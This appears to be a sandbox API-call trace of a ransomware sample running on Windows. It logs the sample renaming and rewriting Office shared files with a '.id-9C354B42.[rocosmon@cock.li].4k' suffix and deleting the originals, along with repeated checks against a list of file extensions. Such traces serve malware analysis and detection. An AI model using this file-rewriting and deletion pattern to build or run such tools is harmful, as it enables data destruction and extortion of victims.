	[0100.866] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.866] lstrlenW (lpString=".7z") returned 3
	[0100.866] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0100.866] lstrlenW (lpString=".dbf") returned 4
	[0100.866] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0100.866] lstrlenW (lpString=".1cd") returned 4
	[0100.866] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0100.866] lstrlenW (lpString=".jpg") returned 4
	[0100.866] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.866] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.866] lstrlenW (lpString="SETUP.XML") returned 9
	[0100.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0100.867] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=20577) returned 1
	[0100.868] CloseHandle (hObject=0x1e8) returned 1
	[0100.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20
	[0100.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0100.868] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.868] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0100.869] GetLastError () returned 0x0
	[0100.869] ReadFile (in: hFile=0x1e8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x5061, lpOverlapped=0x0) returned 1
	[0100.943] WriteFile (in: hFile=0x18c, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x5070, lpOverlapped=0x0) returned 1
	[0100.944] ReadFile (in: hFile=0x1e8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.944] WriteFile (in: hFile=0x18c, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.944] SetEndOfFile (hFile=0x18c) returned 1
	[0100.945] CloseHandle (hObject=0x18c) returned 1
	[0100.945] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.945] SetEndOfFile (hFile=0x1e8) returned 1
	[0100.946] CloseHandle (hObject=0x1e8) returned 1
	[0100.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.947] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1
	[0100.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0100.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0100.947] lstrlenW (lpString=".doc") returned 4
	[0100.947] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.947] lstrlenW (lpString=".docx") returned 5
	[0100.947] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.947] lstrlenW (lpString=".pdf") returned 4
	[0100.947] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.947] lstrlenW (lpString=".xls") returned 4
	[0100.947] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.947] lstrlenW (lpString=".xlsx") returned 5
	[0100.947] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.947] lstrlenW (lpString=".ppt") returned 4
	[0100.947] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0100.947] lstrlenW (lpString=".zip") returned 4
	[0100.947] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.947] lstrlenW (lpString=".rar") returned 4
	[0100.948] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.948] lstrlenW (lpString=".bz2") returned 4
	[0100.948] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.948] lstrlenW (lpString=".7z") returned 3
	[0100.948] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0100.948] lstrlenW (lpString=".dbf") returned 4
	[0100.948] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0100.948] lstrlenW (lpString=".1cd") returned 4
	[0100.948] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0100.948] lstrlenW (lpString=".jpg") returned 4
	[0100.948] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0100.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0100.948] lstrlenW (lpString=".doc") returned 4
	[0100.948] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.948] lstrlenW (lpString=".docx") returned 5
	[0100.948] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.948] lstrlenW (lpString=".pdf") returned 4
	[0100.948] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.948] lstrlenW (lpString=".xls") returned 4
	[0100.948] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.948] lstrlenW (lpString=".xlsx") returned 5
	[0100.948] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.948] lstrlenW (lpString=".ppt") returned 4
	[0100.948] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0100.949] lstrlenW (lpString=".zip") returned 4
	[0100.949] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.949] lstrlenW (lpString=".rar") returned 4
	[0100.949] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.949] lstrlenW (lpString=".bz2") returned 4
	[0100.949] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.949] lstrlenW (lpString=".7z") returned 3
	[0100.949] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0100.949] lstrlenW (lpString=".dbf") returned 4
	[0100.949] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0100.949] lstrlenW (lpString=".1cd") returned 4
	[0100.949] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0100.949] lstrlenW (lpString=".jpg") returned 4
	[0100.949] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.949] lstrcmpiW (lpString1=".HTM", lpString2=".4k") returned 1
	[0100.949] lstrlenW (lpString="MCABOUT.HTM") returned 11
	[0100.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0100.951] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=11463) returned 1
	[0100.951] CloseHandle (hObject=0x1e8) returned 1
	[0100.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20
	[0100.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0100.952] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.952] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0100.966] GetLastError () returned 0x0
	[0100.966] ReadFile (in: hFile=0x1e8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x2cc7, lpOverlapped=0x0) returned 1
	[0100.973] WriteFile (in: hFile=0x1fc, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x2cd0, lpOverlapped=0x0) returned 1
	[0100.974] ReadFile (in: hFile=0x1e8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.974] WriteFile (in: hFile=0x1fc, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0100.974] SetEndOfFile (hFile=0x1fc) returned 1
	[0100.974] CloseHandle (hObject=0x1fc) returned 1
	[0100.974] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.974] SetEndOfFile (hFile=0x1e8) returned 1
	[0100.975] CloseHandle (hObject=0x1e8) returned 1
	[0100.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.976] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1
	[0100.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0100.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0100.976] lstrlenW (lpString=".doc") returned 4
	[0100.976] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1
	[0100.976] lstrlenW (lpString=".docx") returned 5
	[0100.976] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1
	[0100.976] lstrlenW (lpString=".pdf") returned 4
	[0100.976] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1
	[0100.976] lstrlenW (lpString=".xls") returned 4
	[0100.976] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1
	[0100.976] lstrlenW (lpString=".xlsx") returned 5
	[0100.976] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1
	[0100.976] lstrlenW (lpString=".ppt") returned 4
	[0100.976] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1
	[0100.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0100.977] lstrlenW (lpString=".zip") returned 4
	[0100.977] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1
	[0100.977] lstrlenW (lpString=".rar") returned 4
	[0100.977] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1
	[0100.977] lstrlenW (lpString=".bz2") returned 4
	[0100.977] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1
	[0100.977] lstrlenW (lpString=".7z") returned 3
	[0100.977] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1
	[0100.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0100.977] lstrlenW (lpString=".dbf") returned 4
	[0100.977] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1
	[0100.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0100.977] lstrlenW (lpString=".1cd") returned 4
	[0100.977] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1
	[0100.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0100.977] lstrlenW (lpString=".jpg") returned 4
	[0100.977] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1
	[0100.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0100.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0100.977] lstrlenW (lpString=".doc") returned 4
	[0100.977] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1
	[0100.977] lstrlenW (lpString=".docx") returned 5
	[0100.977] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1
	[0100.977] lstrlenW (lpString=".pdf") returned 4
	[0100.977] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1
	[0100.977] lstrlenW (lpString=".xls") returned 4
	[0100.978] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1
	[0100.978] lstrlenW (lpString=".xlsx") returned 5
	[0100.978] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1
	[0100.978] lstrlenW (lpString=".ppt") returned 4
	[0100.978] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1
	[0100.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0100.978] lstrlenW (lpString=".zip") returned 4
	[0100.978] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1
	[0100.978] lstrlenW (lpString=".rar") returned 4
	[0100.978] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1
	[0100.978] lstrlenW (lpString=".bz2") returned 4
	[0100.978] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1
	[0100.978] lstrlenW (lpString=".7z") returned 3
	[0100.978] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1
	[0100.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0100.978] lstrlenW (lpString=".dbf") returned 4
	[0100.978] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1
	[0100.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0100.978] lstrlenW (lpString=".1cd") returned 4
	[0100.978] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1
	[0100.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0100.978] lstrlenW (lpString=".jpg") returned 4
	[0100.978] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1
	[0100.978] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.979] lstrlenW (lpString="PHONE.XML") returned 9
	[0100.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0100.979] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=1844) returned 1
	[0100.979] CloseHandle (hObject=0x1e8) returned 1
	[0100.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20
	[0100.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0100.979] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.980] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0100.980] GetLastError () returned 0x0
	[0100.980] ReadFile (in: hFile=0x1e8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x734, lpOverlapped=0x0) returned 1
	[0101.303] WriteFile (in: hFile=0x1fc, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x740, lpOverlapped=0x0) returned 1
	[0101.304] ReadFile (in: hFile=0x1e8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0101.304] WriteFile (in: hFile=0x1fc, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0101.304] SetEndOfFile (hFile=0x1fc) returned 1
	[0101.304] CloseHandle (hObject=0x1fc) returned 1
	[0101.304] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.304] SetEndOfFile (hFile=0x1e8) returned 1
	[0101.305] CloseHandle (hObject=0x1e8) returned 1
	[0101.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0101.305] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1
	[0101.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0101.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0101.306] lstrlenW (lpString=".doc") returned 4
	[0101.306] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0101.306] lstrlenW (lpString=".docx") returned 5
	[0101.306] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1
	[0101.306] lstrlenW (lpString=".pdf") returned 4
	[0101.306] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0101.306] lstrlenW (lpString=".xls") returned 4
	[0101.306] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0101.306] lstrlenW (lpString=".xlsx") returned 5
	[0101.306] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1
	[0101.306] lstrlenW (lpString=".ppt") returned 4
	[0101.306] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0101.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0101.306] lstrlenW (lpString=".zip") returned 4
	[0101.306] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0101.306] lstrlenW (lpString=".rar") returned 4
	[0101.306] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0101.306] lstrlenW (lpString=".bz2") returned 4
	[0101.306] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0101.306] lstrlenW (lpString=".7z") returned 3
	[0101.306] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0101.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0101.306] lstrlenW (lpString=".dbf") returned 4
	[0101.306] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0101.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0101.306] lstrlenW (lpString=".1cd") returned 4
	[0101.306] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0101.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0101.307] lstrlenW (lpString=".jpg") returned 4
	[0101.307] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0101.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0101.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0101.307] lstrlenW (lpString=".doc") returned 4
	[0101.307] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0101.307] lstrlenW (lpString=".docx") returned 5
	[0101.307] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1
	[0101.307] lstrlenW (lpString=".pdf") returned 4
